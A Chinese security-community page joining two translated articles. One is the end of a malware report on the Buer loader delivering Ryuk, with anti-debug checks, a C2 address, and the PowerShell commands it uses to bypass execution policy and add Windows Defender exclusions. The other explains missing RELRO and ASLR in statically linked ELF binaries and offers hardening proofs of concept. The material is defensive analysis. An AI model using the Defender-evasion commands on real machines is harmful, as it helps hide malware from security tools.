ZOO于2020年9月17日发行的被盗和已撤销的认证，通过[Microsoft示例应用程序用于图像捕获的](https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/winui/pictures/pictureacquisition/AcquireTest.cpp)修改[代码](https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/winui/pictures/pictureacquisition/AcquireTest.cpp)AcquireTest构建，并使用代码的“文件枚举”功能以删除代码。
Buer首先检查是否存在调试器以逃避安全检查，然后检查语言和本地化设置以确定所攻击系统的地理区域。如果设置与CIS国家匹配，它将退出并不保存恶意软件。否则，它将删除程序并转储执行Buer恶意文档。
有趣的是，Buer和Ryuk勒索软件使用相同的shellcode装载器来执行内存中的恶意软件代码：
Buer装载程序的代码
Ryuk装载程序代码
这可能并不能验证黑客身份，开发人员可能只是使用了与源代码相同的示例代码。
Buer恶意软件发送后，它会执行更多命令。执行PowerShell命令：绕过执行策略以允许PowerShell命令通过（Set-ExecutionPolicy Bypass）；（add-mppreference -exclusionpath）更改Windows
Defender的排除列表，隐藏从恶意软件中下载的文件。
Buer在Windows中查询\ Microsoft \ Cryptography \
MachineGuid的值，以获取受感染计算机的标识符。通过HTTP“ POST”和“ GET”消息与主控服务器（在本例中为104 [.]
248.83.13）进行交互而回归。
Buer的“加载程序”部分：从指定的源中检索出需要被删除的文件，并放在C：\ ProgramData
\目录中创建的文件夹中，通过编程方式创建的目录名随部署而变化。在9月的攻击事件中，Buer被用来将Cobalt
Strike部署到受感染的计算机，利用网络发起Ryuk网络攻击。
### 总结
9月底，Buer恶意文档和Ryuk勒索软件的网络攻击活动发生了变化，我们观察到，黑客将相同的策略从SendGrid上的低容量转移到了通过Internet托管的单个俄罗斯ISP发送的邮件。10月，垃圾邮件的数量急剧增加，从Google
Docs（Google因违反服务条款关闭了旧文件）转变到另一种商业电子邮件文件传递服务。
由Constant Contact存储的针对性的恶意文档的链接
最后两个阶段的相同策略表明来自同一黑客，但多种类型恶意软件已作为附件部署。除Buer外，我们还发现了Bazar和ZLoader的样本，有效载荷各不相同。对于Bazar装载的有效载荷，黑客使用了有密码保护的Excel电子表格。在同一时间范围内，Bazar和ZLoader也参与了Ryuk网络攻击。
Ryuk网络攻击事件重返，黑客正在进化方法，使用多个装载程序漫游器来实现初始访问。目前尚不清楚是否所有网络攻击都是由同一黑客所为、黑客是否使用多个恶意软件即服务平台来提供Ryuk、是否存在多个Ryuk黑客。但是，这些网络攻击活动在技术上的相似之处表明它们之间存在联系：利用基于云的恶意文档的目标电子邮件，并诱使其采取行动（通常与工资或税收有关）。
最佳防范方法是加强对网络钓鱼攻击的安全宣传和培训。这些恶意电子邮件通常措词笨拙、名称奇特。受过教育的用户通过仔细阅读电子邮件就可识别钓鱼邮件。但是，随着网络攻击变得越来越复杂，即使是教育良好的用户也可能最终点击恶意链接（如果垃圾邮件检测系统无法检测恶意文档的话）。
Sophos通过自定义检测（Troj /
BuerLd-A）和机器检测阻止Buer恶意软件，并将网络钓鱼邮件检测为垃圾邮件，相关IOCs可在[SophosLabs的GitHub](https://github.com/sophoslabs/IoCs/blob/master/Troj-BuerLd-A.csv)找到。
* * * | 社区文章 |
本文是[《ASLR PROTECTION FOR STATICALLY LINKED
EXECUTABLES》](https://www.leviathansecurity.com/blog/aslr-protection-for-statically-linked-executables)的翻译文章
# 1 简介
本文提供了对静态链接可执行文件更加隐蔽的安全漏洞的见解，包括但不限于以下内容：
* 静态链接可执行文件的glibc初始化代码
* 对于静态链接的可执行文件，攻击面看起来是什么样的
* 为什么像RELRO和ASLR这样的缓解对于静态链接的可执行文件和动态链接的可执行文件同样重要
* 关于RELRO，ASLR和静态可执行文件的常见误解：静态链接会禁用重要的安全缓解，使程序容易受到攻击
目前，只读重定位（RELRO）是一种安全保护（在2.3节中讨论），对静态链接的可执行文件至关重要。即使是杰出的ELF二进制工程师也没有发现这种RELRO保护措施（于静态链接文件中）的存在，并且这种措施还被误认为对于静态链接的可执行文件并不重要。正如我们将通过一些RE示例演示的那样，静态和动态链接的可执行文件具有相同的攻击面。第二个问题是ASLR不能应用于静态可执行文件，但是像RELRO一样，现在是一个重要的安全保护措施。在这篇文章中，我们深入探讨了针对静态可执行文件使用RELRO和ASLR的细节，以及每个问题的解决方案。然后提供一个POC供读者推断或用于保护静态可执行安全风险，直到得出一个更完整的解决方案为止。
静态二进制文件通常用于常见的现成软件（COTS），原因有很多种，例如避免依赖动态库版本的兼容性问题。这忽略了静态链接可执行文件的安全性后果，部分原因是某些脚本（例如checksec.sh
[3]）错误地报告从而启用了部分RELRO的静态链接可执行文件。
本文的目的是为软件开发过程的安全性做出贡献，这个开发的生命周期一般应用于越来越多的支持ELF二进制格式的操作系统（OSs：operating
systems）。静态可执行文件现在比以往任何时候都更像是一个主要目标，正如我们将在3.1节中看到的那样，RELRO和ASLR使得利用更难以实现。
如果某个软件存在内存损坏漏洞，则启用适当的二进制保护可能会完全阻止漏洞利用。例如，在攻击者只有一个指针宽度写入原语的情况下，没有mprotect@PLT将RELRO段标记为可写，这时RELRO会使漏洞无法利用。如上所述，我们将在3.1节中更详细地探讨这一点。
# 2 标准ELF安全保护的状态
多年来，glibc（GNU
C库），GNU链接器和动态链接器都进行了大量改进，这使得各种安全保护成为可能，包括完整的ASLR，这需要修改编译器和链接器。Pipacs是一个备受尊敬且多产的PaX安全研究工程师，从ASLR到PAGEEXEC
[4] ，他已经开发了许多用户空间和核心空间的保护技术。
Pipacs的一个发现是，除了随机化堆，堆栈和共享的地址空间之外，还可以随机化ELF可执行文件本身的地址空间，从而使ret2plt和ROP攻击更加困难。他还提出了两种解决方案：首先是RandExec
[5]，然后是更优雅的解决方案就是，引导PIE（位置无关的可执行文件）文件。
引导PIE文件背后的想法是，您可以创建一个ELF可执行文件，使其具有与共享库对象相同的属性：位置无关代码（PIC）和基本地址0x0，使内核可以在运行时重定位二进制文件。常规共享库和PIE可执行文件之间的唯一区别是初始化代码，并且可执行文件必须具有PT_INTERP段来描述动态链接器的路径。常规可执行文件具有ELF文件类型ET_EXEC，而PIE可执行文件具有ET_DYN文件类型，共享库也是如此。PIE可执行文件使用IP相对寻址模式来避免硬编码对绝对地址的引用。一个ELF
ET_DYN且基址为0x0的程序可以在每次运行时随机重定位到不同的基址。
## 2.1支持静态PIE的相关工作
在写完本文的大部分内容之后，我发现了一些可以尝试将静态PIE可执行文件放入主函数线的方法。但是，据我所知，这仍然没有标准选项。我还发现有一个补丁可以添加静态PIE选项。有关的详细信息请参阅[6]和[7]，这是我在查找资料时发现的两个论坛帖子。
## 2.2什么时候ASLR是完整的？
当可执行文件在高权限状态下运行时，例如sshd，在理想情况下，它将被编译并链接到PIE可执行文件中，该PIE可执行文件可以在将运行时将重定位放入随机地址空间，从而将攻击面强化为更加恶劣的游戏场。以root身份运行的敏感程序永远都不应构建为静态链接，并且在绝大多数的情况下应始终启用所有可用的二进制保护。
不使用PIE二进制文件的一个原因是IP相对寻址会影响各个级别的程序性能，如Red
Hat团队的这篇有趣的论文所述[8]。偶尔会出现边缘情况，其中必须关闭保护措施，例如-fstack-protector，以便启用自定义保护。但一般情况下，应尽可能为敏感程序启用从金丝雀到ASLR和完整RELRO的所有内容。例如，sshd几乎总是在启用所有保护的情况下构建的，包括完整的ASLR，这意味着sshd是作为PIE可执行文件构建的。尝试运行`readelf
-e /usr/sbin/sshd | grep DYN`，你会看到sshd（最有可能）以这种方式构建，尽管有一些例外，具体情况取决于架构。
## 2.3 RELRO入门
现在让我们来看看另一个鲜为人知的安全保护措施。RELRO是一种具有两种模式（部分和完全）的安全保护技术。在默认情况下，只执行部分RELRO，因为它使用缓慢链接（lazy
linking），而完整RELRO需要精确链接（strict
linking）[1]。精确链接与缓慢链接相比，在程序加载时间上更低效，因为动态链接器在精确链接中而不是按需绑定/重新定位。但是，通过将数据段中的特定区域标记为只读，即.init_array，.fini_array，.jcr，.got，.got.plt部分，完整的RELRO可以非常有力地强化攻击面。.got.plt部分和.fini_array是攻击者最常见的目标，因为它们分别包含共享库例程的函数指针和析构函数例程的函数指针。
# 3静态链接可执行文件和安全性的整体视图
开发人员经常使用静态链接的可执行文件，因为它们更易于管理，调试和发布;
一切都是自足的。用户遇到静态链接可执行文件问题的可能性远小于动态链接可执行文件，因为后者需要许多甚至有时数千个的动态库依赖项。作为这个领域的专业研究人员，我已经意识到静态链接的ELF可执行文件的更明显的优点和缺点，但我认为它们不会遇到与动态链接的可执行文件相同的ELF安全问题。事实上，令我惊讶的是，我发现静态链接的可执行文件容易受到许多与动态链接的可执行文件相同的攻击，包括3.1节中详述的那些：
## 3.1 RELRO保护的攻击点
* 恶意软件的共享库注入
* Dtors（.fin_array）中毒（注意：仅与某些静态链接的可执行文件相关）
* Got.plt中毒（即GOTPLT劫持）
## 3.2为什么静态链接可执行文件中的这些漏洞长期以来都备受关注？
静态链接的可执行文件中的这些漏洞长期以来都备受关注，因为.got.plt部分并不总是用作一种聪明的优化方式。它根本不存在，因此没有出现攻击面。我不知道引入这个.got.plt优化的确切日期。
## 3.3完全RELRO保护与部分RELRO保护
完全RELRO保护所有部分（.got.plt，.got，.init_array，.fini_array，.dynamic和.jcr），而部分RELRO省略保护.got.plt，因为它需要在整个过程的生命周期内更新以支持按需动态链接。这是一个问题，因为它将.got.plt暴露为攻击面。
默认情况下，即使静态可执行文件仅在进程初始化时更新.got.plt，甚至没有启用RELRO，它仍然会暴露.got.plt攻击面。如果攻击者可以找到.got.plt部分，他们可以破坏关键函数指针。
那么，保护静态可执行文件的解决方案是什么？
注意：.init_array和.fini_array是.ctors和.dtors的新名称，并且具有相应的SHT_INIT_ARRAY和SHT_FINI_ARRAY类型。
## 3.4深入攻击面
发现.got.plt是静态链接二进制文件中暴露的攻击面让我以及我认识的几位熟练的ELF研究人员感到惊讶。让我们看看用RELRO保护可执行文件的所有方法。
### 3.4.1共享库注入保护
虽然共享库注入保护不是RELRO的最初目的，但它可以与DEP的各种运行相结合，例如PaX
mprotect()限制，并防止运行时被恶意软件攻击。例如，共享库函数重定向因PaX禁止PTRACE_POKETEXT为只读段而被挫败。
### 3.4.2同样的旧开发技术是适用的
从开发的角度来看，当你意识到.got.plt部分仍然是静态链接的可执行文件中的相关攻击面时，事情会变得更有趣。我们将很快讨论.got.plt的目的，但是现在，重要的是要注意.got.plt包含指向libc例程的函数指针，并且曾经被动态链接的可执行文件利用。.init_array和.fini_array函数指针分别指向初始化和析构函数例程。
具体来说，.fini_array，也称为.dtors，尽管它的利用可能不像.got.plt部分那样普遍存在，但它也已经被用于许多类型漏洞中的代码执行。在以下部分中，我们分析静态链接可执行文件中缺少安全性保护，与此同时，我们还将探索一些逆向工程和二进制保护技术。该分析将向读者证明静态链接可执行文件的攻击面几乎与动态链接可执行文件的攻击面相同。此信息很重要，因为RELRO和ASLR等二进制保护不适用于与当前工具链的静态链接可执行文件。如果你很时间充裕，那就等一下。稍后我们将深入探讨具体细节，并通过将ASLR和RELRO应用于静态链接的可执行文件来探索一些创新的黑客攻击方式。
### 3.4.3静态链接的可执行文件中的RELRO歧义
下面的静态二进制文件是在使用`gcc -static -Wl, -z, relro, -z,
now`命令启用完全RELRO的情况下构建的，之后即使是精明的反编译器也可能会误以为RELRO已启用。此时，部分RELRO和完整RELRO都与静态链接的可执行文件不兼容，因为动态链接器负责重新映射和保护数据段中的常见攻击点，例如.got.plt，并且如图所示。输出下面没有类型PT_INTERP的程序头来指定解释器，我们也不会静态链接的可执行文件中看到它，因为它们不使用动态链接。
默认链接描述文件就是指示链接器创建GNU_RELRO段，即使此段不起作用也会创建。我们设计了一个解决方案，使用PT_GNU_RELRO程序头，在静态链接的可执行文件上启用RELRO。PT_GNU_RELRO程序头与数据段的程序头共享相同的p_vaddr和p_offset，因为这是.init_array，.fini_array，.jcr，.dynamic，.got和.got.plt部分将存储在内存中的位置。内存中PT_GNU_RELRO的大小由程序头的p_memsz字段描述，该字段应与下一个PAGE_SIZE对齐，以获取动态链接器传递给mprotect()以标记页面的'len'值，从而将页面标记为只读。让我们仔细看看这些程序头和映射到它们的部分。
以下是静态链接的ELF可执行文件的程序头：
$ readelf -l test
Elf file type is EXEC (Executable file)
Entry point 0x4008b0
从偏移量64开始有6个程序头：
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000cbf67 0x00000000000cbf67 R E 200000
LOAD 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8
0x0000000000001cb8 0x0000000000003570 RW 200000
NOTE 0x0000000000000190 0x0000000000400190 0x0000000000400190
0x0000000000000044 0x0000000000000044 R 4
TLS 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8
0x0000000000000020 0x0000000000000050 R 8
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 10
GNU_RELRO 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8
0x0000000000000148 0x0000000000000148 R 1
节到段的映射：
Segment Sections...
00 .note.ABI-tag .note.gnu.build-id .rela.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit .stapsdt.base __libc_thread_subfreeres .eh_frame .gcc_except_table
01 .tdata .init_array .fini_array .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
02 .note.ABI-tag .note.gnu.build-id
03 .tdata .tbss
04
05 .tdata .init_array .fini_array .jcr .data.rel.ro .got
请注意，GNU_RELRO段指向数据段的开头，通常是您希望动态链接器将N个字节保护为只读的位置。通常，不超过数据段的前4096个字节是需要保护的。但是，尽管有GNU_RELRO段，静态可执行文件并没有考虑到安全性。一个明显的迹象是包含TLS数据的.tdata部分，作为数据段中的第一部分，如果它用mprotect()标记为PROT_READ，那么多线程程序将无法正确运行。如果glibc
ld / gcc开发人员考虑过RELRO，他们可能会将.tdata部分放在.data部分和.bss部分之间。
### 3.4.4 重要的注释
正如@ulexec指出的那样，.init_array/.fini_array部分在glibc静态链接的可执行文件中不起作用。另一方面，.got.plt非常活跃，因为它被用作静态可执行文件中的libc例程的优化。.got.plt是最大的威胁，它用于glibc的静态链接模型，而我们传统上说的.ctors和.dtors却不会被使用，尽管它们存在而且通常为.init_array和.fini_array。但是，静态可执行文件并不总是像使用-static标志那样严格，当你从glibc的严格链接描述文件和标准init / deinit例程的上下文中删除静态ELF时，将会证明这一点。
因为-static并不像看起来那么严格，所以我们必须考虑通常受RELRO保护的所有ELF部分（不仅仅是.got.plt）在静态链接的可执行文件中的活动和行为几乎相同，除了经过证明的个别案例以外。我们现在已经知道了.got.plt用作libc例程的优化，这个将在稍后进行演示，这个函数指针的.got.plt表是一个很好的攻击面，并且早在2000年就已经用于动态链接的可执行文件中了，如多年前出版的Nergal的论文所示。[9]
### 3.4.5 checksec.sh无法提供准确的信息
checksec.sh
[3]使用GNU_RELRO段作为表示是否在二进制文件上启用了RELRO的一种标志。在静态编译的二进制文件的情况下，checksec.sh将报告启用了部分RELRO，因为它无法找到DT_BIND_NOW动态段标志，静态链接的可执行文件中也没有动态段。为了使这更具体，让我们通过一个静态链接可执行文件的glibc初始化代码进行轻量级浏览。
在上面的输出中，数据段中有一个.got和.got.plt部分。通常，启用完整RELRO需要将它们合并为一个单独的“.got”部分。但是，我们设计了一个不需要合并的工具“RelroS”，只需要将它们都标记为只读。
# 4 更深入的静态链接和攻击面概述
注意：可以在这里查看ftrace工具的高级概述：<https://github.com/elfmaster/ftrace> 该工具可以执行函数级别的跟踪。
$ ftrace test_binary
LOCAL_call@0x404fd0:__libc_start_main()
LOCAL_call@0x404f60:get_common_indeces.constprop.1()
(RETURN VALUE) LOCAL_call@0x404f60: get_common_indeces.constprop.1() = 3
LOCAL_call@0x404cc0:generic_start_main()
LOCAL_call@0x447cb0:_dl_aux_init() (RETURN VALUE) LOCAL_call@0x447cb0:
_dl_aux_init() = 7ffec5360bf9
LOCAL_call@0x4490b0:_dl_discover_osversion(0x7ffec5360be8)
LOCAL_call@0x46f5e0:uname() LOCAL_call@0x46f5e0:__uname()
<truncated>
通常在动态链接器中发生的大部分繁重工作都是由函数generic_start_main()执行的，该函数除了其他任务外，还对数据段中的多个部分（包括.got）执行全面的重定位和修复，包括
plt部分。这样就能够设置一些观察点来观察早期的一个查询CPU信息的功能，如CPU缓存大小。此函数能让glibc
init代码智能地确定应该使用哪个版本的给定函数（例如strcpy()）进行优化。
请注意，当我们在GOT条目上为多个共享库例程设置监视点时，generic_start_main()在某种意义上用作动态链接器的类似机制，因为它的工作主要是执行重定位和修复。
\-- 在一个带有静态二进制文件的探索性GDB会话中 --
(gdb) x/gx 0x6d0018 /* .got.plt entry for strcpy */
0x6d0018: 0x000000000043f600
(gdb) watch *0x6d0018
Hardware watchpoint 3: *0x6d0018
(gdb) x/gx /* .got.plt entry for memmove */
0x6d0020: 0x0000000000436da0
(gdb) watch *0x6d0020
Hardware watchpoint 4: *0x6d0020
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/elfmaster/git/libelfmaster/examples/static_binary
Hardware watchpoint 4: *0x6d0020
Old value = 4195078
New value = 4418976
0x0000000000404dd3 in generic_start_main ()
(gdb) x/i 0x436da0
0x436da0 <__memmove_avx_unaligned>: mov %rdi,%rax
(gdb) c
Continuing.
Hardware watchpoint 3: 0x6d0018
*Old value = 4195062
New value = 4453888
0x0000000000404dd3 in generic_start_main ()
(gdb) x/i 0x43f600
0x43f600 <__strcpy_sse2_unaligned>: mov %rsi,%rcx
(gdb)
## 4.1 .got.plt使用GDB进行检查
在上述两种情况下，给定libc函数的GOT条目将其PLT存根地址替换为最有效的函数版本，给定CPU缓存大小由某些glibc初始化代码查找，例如，__
cache_sysconf()。由于这是一个有点高级的概述，我不会涉及到每个函数，但重要的是.got.plt是用libc函数更新的，并且可能会中毒，因为RELRO与静态链接的可执行文件不兼容。
这引出了几个可能的解决方案，包括我们的实验原型，RelroS（静态ELF的只读重定位），它使用一些ELF技巧来注入放置在非常特定位置的蹦床调用的代码。在调用enable_relro()例程之前，必须等到generic_start_main()完成对我们打算标记为只读的内存区域的所有写入。
## 4.2 RelroS（静态ELF的只读重定位）解决方案
由于时间限制，RelroS的初始（且唯一）版本被快速写入。因此，当前实现中存在若干问题，但接下来我将解释如何解决它们。目前的指令是使用注入技术将PT_NOTE程序头标记为PT_LOAD，因此我们可以有效地创建第二个文本段。此外，在generic_start_main()函数中，有一个非常特定的地方需要修补，它需要一个5字节的补丁（即，调用<imm>）。</imm>
不幸的是，在将这个指令转移到不同的段时，立即调用是不起作用的。相反，需要一个远远超过5个字节的lcall（远程调用）。解决方法是切换到反向文本感染，这将使enable_relro()代码保持在唯一的代码段中。目前，我们正在粗略地修补调用main()的代码
405b46: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
405b4b: 8b 7c 24 0c mov 0xc(%rsp),%edi
405b4f: 48 8b 44 24 18 mov 0x18(%rsp),%rax /* store main() addr */
405b54: ff d0 callq *%rax /* call main() */
405b56: 89 c7 mov %eax,%edi
405b58: e8 b3 de 00 00 callq 413a10 <exit>
在当前示例中，我们使用`push $enable_relro;
ret`来覆盖0x405b54处的6个字节指令集。我们的enable_relro()函数将PT_RELRO表示的数据段的一部分保存为只读，然后调用main()，然后是sys_exit。这是有缺陷的，因为main()之后的代码都没有被调用，包括deinitialization例程。
解决方案是使用反向文本扩展名或文本填充感染将enable_relro()代码保留在主程序文本段中。我们可以简单地将0x405b46处的5个字节用`call
<offset>`覆盖到enable_relro()，并且该函数将确保我们返回将存储在％rax中的main()的地址。由于下一条指令是·callq
*％rax`，它在RELRO启用后立即调用main()，因此没有指令被抛出对齐状态。
到目前为止，该解决方案是理想的。但是，.tdata位于数据段的开头也是一个问题，而我们只能在PAGE_SIZE的倍数的内存区域上使用mprotect()。因此，必须采用稍微复杂的步骤来使多线程应用程序与二进制检测的RELRO一起运作（或者，我们可以通过使用链接描述文件将线程数据和bss放入其自己的数据段来解决问题）。
在当前的原型中，我们使用push/ret序列修补从0x405b4f开始的指令字节，破坏以下指令。这是一个临时修复，需要在未来的原型中解决。
405b46: 48 8b 74 24 10 mov 0x10(%rsp),%rsi
405b4b: 8b 7c 24 0c mov 0xc(%rsp),%edi
405b4f: 48 8b 44 24 18 mov 0x18(%rsp),%rax
405b54: 68 f4 c6 0f 0c pushq $0xc0fc6f4
405b59: c3 retq
/*
* The following bad instructions are never crashed on because
* the previous instruction returns into enable_relro() which calls
* main() on behalf of this function, and then sys_exit's out.
*/
405b5a: de 00 fiadd (%rax)
405b5c: 00 39 add %bh,(%rcx)
405b5e: c2 0f 86 retq $0x860f
405b61: fb sti
405b62: fe (bad)
405b63: ff (bad)
405b64: ff (bad)
可以看到这不是一个动态链接的可执行文件
$ readelf -d test
There is no dynamic section in this file.
可以观察到只有一个r + x文本段和一个r + w数据段，在数据段的第一部分缺乏只读存储器保护。
$ ./test &
[1] 27891
$ cat /proc/`pidof test`/maps
00400000-004cc000 r-xp 00000000 fd:01 4856460 /home/elfmaster/test
006cc000-006cf000 rw-p 000cc000 fd:01 4856460 /home/elfmaster/test
<truncated>
使用单个命令将RelroS应用于可执行文件
$ ./relros ./test
injection size: 464
main(): 0x400b23
我们可以观察到我们的补丁在强制执行只读重定位，而且我们在二进制文件中调用了名为'test'的补丁
$ ./test &
[1] 28052
$ cat /proc/`pidof test`/maps
00400000-004cc000 r-xp 00000000 fd:01 10486089 /home/elfmaster/test
006cc000-006cd000 r--p 000cc000 fd:01 10486089 /home/elfmaster/test
006cd000-006cf000 rw-p 000cd000 fd:01 10486089 /home/elfmaster/test
<truncated>
$
请注意，在我们在./test上应用RelroS后，数据段现在有一个4096字节区域，已标记为只读。这是动态链接器为动态链接的可执行文件完成的操作。
目前，我们正在努力改进我们的二进制检测项目[11]，以便在静态链接的可执行文件上启用RELRO。在4.3和4.4节中，我将讨论另外两个解决这个问题的方法。
## 4.3链接器脚本和自定义函数
在静态可执行文件上启用RELRO的一种可能可行的方法是编写一个链接器脚本，将.tbss，.tdata和.data分隔成它们自己的段，然后放置原本应该是只读的段（即，
.init_array，.fini_array，.jcr，.dynamic，.got和.got.plt）在另一个段中..可以将每个PT_LOAD段单独标记为PF_R
| PF_W（读取+写入），这样它们就可以作为两个单独的数据段。
单独的段能让程序在检查argc/argv之前具有main()调用的自定义函数（非构造函数）。应该使用自定义而不是构造函数，这是因为存储在.init节中的构造函数例程在.got，.got.plt部分的写入指令之前被调用，等等。在glibc
init代码完成执行其需要写入访问的修正之后，构造函数将尝试对第二个数据段执行mprotect()只读权限，从而无法运行。
## 4.4 GLIBC开发人员可以修复它
在静态可执行文件上启用RELRO的另一个解决方案是让glibc开发人员在调用main()之前添加一个由generic_start_main()调用的函数。目前，在静态链接的可执行文件中有一个_dl_protect_relro()函数，而它永远不会被调用。
# 5 ASLR问题
如上所述，二进制保护（如ASLR）无法应用于当前工具链的静态可执行文件。除非RANDEXEC [5]用于ET_EXEC
ASLR，否则ASLR会采用ET_DYN作为可执行文件。静态链接的可执行文件只能链接为ET_EXEC类型的可执行文件。
$ gcc -static -fPIC -pie test2.c -o test2
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/5/crtbeginT.o:
relocation R_X86_64_32 against `__TMC_END__' can not be used when making a shared object; recompile with -fPIC
/usr/lib/gcc/x86_64-linux-gnu/5/crtbeginT.o: error adding symbols: Bad value
collect2: error: ld returned 1 exit status
这意味着你可以删除-pie标志并最终得到一个使用位置无关代码的可执行文件，但是没有我们所需要的以基址0开头的地址空间布局。那么该怎么办？
## 5.1 ASLR解决方案
我个人没有花太多的时间来用glibc链接器查看是否可以调整它来链接作为ET_DYN对象出现的静态可执行文件。值得一提的是，这样的可执行文件不应该有PT_INTERP段，因为它不是动态链接的。由于我自己的时间限制，我想把这作为读者的练习，也许有一些我不知道的解决方案。
来自ELF内核加载器的以下代码将进一步具体化可执行类型必须为ET_DYN的事实，以便将其重定位到随机生成的地址。
快速查看src/linux/fs/binfmt_elf.c在第916行显示此代码
line 916: } else if (loc->elf_ex.e_type == ET_DYN) {
/* Try and get dynamic programs out of the way of the
* default mmap base, as well as whatever program they
* might try to exec. This is because the brk will
* follow the loader, and is not movable. */
load_bias = ELF_ET_DYN_BASE - vaddr;
if (current->flags & PF_RANDOMIZE)
load_bias += arch_mmap_rnd();
... 然后 ...
line 941: if (!load_addr_set) {
load_addr_set = 1;
load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
if (loc->elf_ex.e_type == ET_DYN) {
load_bias += error - ELF_PAGESTART(load_bias + vaddr);
load_addr += load_bias;
reloc_func_desc = load_bias;
}
}
## 5.2 ASLR二进制检测/链接器混合解决方案
链接器可能还没有能够执行此任务，但我相信我们至少可以编译静态链接的可执行文件以便它使用位置无关代码（IP相对），来找到一个潜在的解决方案。以下是从二进制检测角度出发的以下算法：
* `gcc -static -fPIC test2.c -o test2 --static_to_dyn.c`使用此算法
* 将ehdr->e_type从ET_EXEC修改为ET_DYN
* 修改每个PT_LOAD段的phdr（分别为text和data段）
A. phdr [TEXT] .p_vaddr = 0x00000000;
B. phdr [TEXT] .p_offset = 0x00000000;
C. phdr [DATA] .p_vaddr = 0x200000 + phdr [DATA] .p_offset;
* ehdr->e_entry = ehdr->e_entry - old_base;
* 更新每个节头以反映程序头的新地址范围。
否则GDB和objdump将无法使用二进制文件：
$ gcc -static -fPIC test2.c -o test2
$ ./static_to_dyn ./test2
Setting e_entry to 8b0
$ ./test2
Segmentation fault (core dumped)
## 5.3 从ASLR的结果延伸我们对静态链接可执行文件的观点
哎呀，快速查看带有objdump的二进制文件证明了大多数代码不使用IP相对寻址而且也不是真正的PIC。像_start这样的glibc
init例程的PIC版本位于/usr/lib/X86_64-linux-gnu/Scrt1.o中。我认为我们可能必须从一种新颖的方法开始，例如将'-static'gcc选项排除在等式之外并从头开始工作。以下是解决方案的几个起点。
也许test2.c应该同时具有_start()和main()，而_start()应该没有代码，也没有使用 **attribute**
（（weak）），这样Scrt1.o中的_start()例程就可以覆盖它。另一种可能的解决方案是使用IP相对寻址编译dietlibc，并使用它代替glibc以简化操作。有多种可能性，但主要的想法是开始思考开箱即用。为了POC，这里有一个程序，除了检查argc是否大于1之外什么都不做，然后每隔一次迭代在循环中递增一个变量。我们将演示ASLR如何在其上工作。使用_start()作为main()，编译器选项如下所示。
*** PoC of simple static binary made to ASLR ***
/* Make sure we have a data segment for testing purposes */
static int test_dummy = 5;
int _start() {
int argc;
long *args;
long *rbp;
int i;
int j = 0;
/* Extract argc from stack */
asm __volatile__("mov 8(%%rbp), %%rcx " : "=c" (argc));
/* Extract argv from stack */
asm __volatile__("lea 16(%%rbp), %%rcx " : "=c" (args));
if (argc > 2) {
for (i = 0; i < 100000000000; i++)
if (i % 2 == 0)
j++;
}
return 0;
}
$ gcc -nostdlib -fPIC test2.c -o test2
$ ./test2 arg1
$ pmap `pidof test2`
17370: ./test2 arg1
0000000000400000 4K r-x-- test2
0000000000601000 4K rw--- test2
00007ffcefcca000 132K rw--- [ stack ]
00007ffcefd20000 8K r---- [ anon ]
00007ffcefd22000 8K r-x-- [ anon ]
ffffffffff600000 4K r-x-- [ anon ]
total 160K
$
请注意，ASLR不存在，并且地址空间与Linux中的64类ELF二进制文件一样。让我们运行我们的static_to_dyn.c程序，然后再试一次。
$ ./static_to_dyn test2
$ ./test2 arg1
$ pmap `pidof test2`
17622: ./test2 arg1
0000565271e41000 4K r-x-- test2
0000565272042000 4K rw--- test2
00007ffc28fda000 132K rw--- [ stack ]
00007ffc28ffc000 8K r---- [ anon ]
00007ffc28ffe000 8K r-x-- [ anon ]
ffffffffff600000 4K r-x-- [ anon ]
total 160K
请注意，test2的文本和数据段映射到随机地址空间。这是我们现在正在谈论的！其余的功课应该相当简单。根据这项工作进行推断，找到更有创意的解决方案，直到GNU人员有时间解决问题，而不是使用技巧和工具来做更优雅的事情。
## 5.4改进我们的静态链接技术
由于我们通过使用'-nostdlib'编译器标志简单地将glibc从等式中删除来静态编译，我们必须考虑我们认为理所当然地认为必须手动编码和链接的东西，例如TLS和系统调用包装器。我之前提到的一个可能的解决方案是使用IP相对寻址模式编译dietlibc，并使用-nostdlib简单地将代码链接到它。这是我们更新的test2.c代码，它可以打印命令行参数：
*** updated test2.c ***
#include <stdio.h>
/* Make sure we have a data segment for testing purposes */
static int test_dummy = 5;
int _start() {
int argc;
long *args;
long *rbp;
int i;
int j = 0;
/* Extract argc from stack */
asm __volatile__("mov 8(%%rbp), %%rcx " : "=c" (argc));
/* Extract argv from stack */
asm __volatile__("lea 16(%%rbp), %%rcx " : "=c" (args));
for (i = 0; i < argc; i++) {
sleep(10); /* long enough for us to verify ASLR */
printf("%s\n", args[i]);
}
exit(0);
}
作为注释，读者可以弄清楚如何获得char **envp。我把它留作练习。现在我们实际上正在构建一个静态链接的二进制文件，它可以获取命令行参数并从diet
libc调用静态链接函数：
# Note that first I downloaded the dietlibc source code and edited the
# Makefile to use -fPIC flags which will enforce the IP-relative addressing
# within dietlibc
$ gcc -nostdlib -c -fPIC test2.c -o test2.o
$ gcc -nostdlib test2.o /usr/lib/diet/lib-x86_64/libc.a -o test2
$ ./test2 arg1 arg2
./test2
ARG1
ARG2
$
现在我们可以在其上运行static_to_dyn工具来强制执行ASLR：
$ ./static_to_dyn test2
$ ./test2 foo bar
$ pmap `pidof test`
24411: ./test2 foo bar
0000564cf542f000 8K r-x-- test2 # Notice ASLR!
0000564cf5631000 4K rw--- test2 # Notice ASLR!
00007ffe98c8e000 132K rw--- [ stack ]
00007ffe98d55000 8K r---- [ anon ]
00007ffe98d57000 8K r-x-- [ anon ]
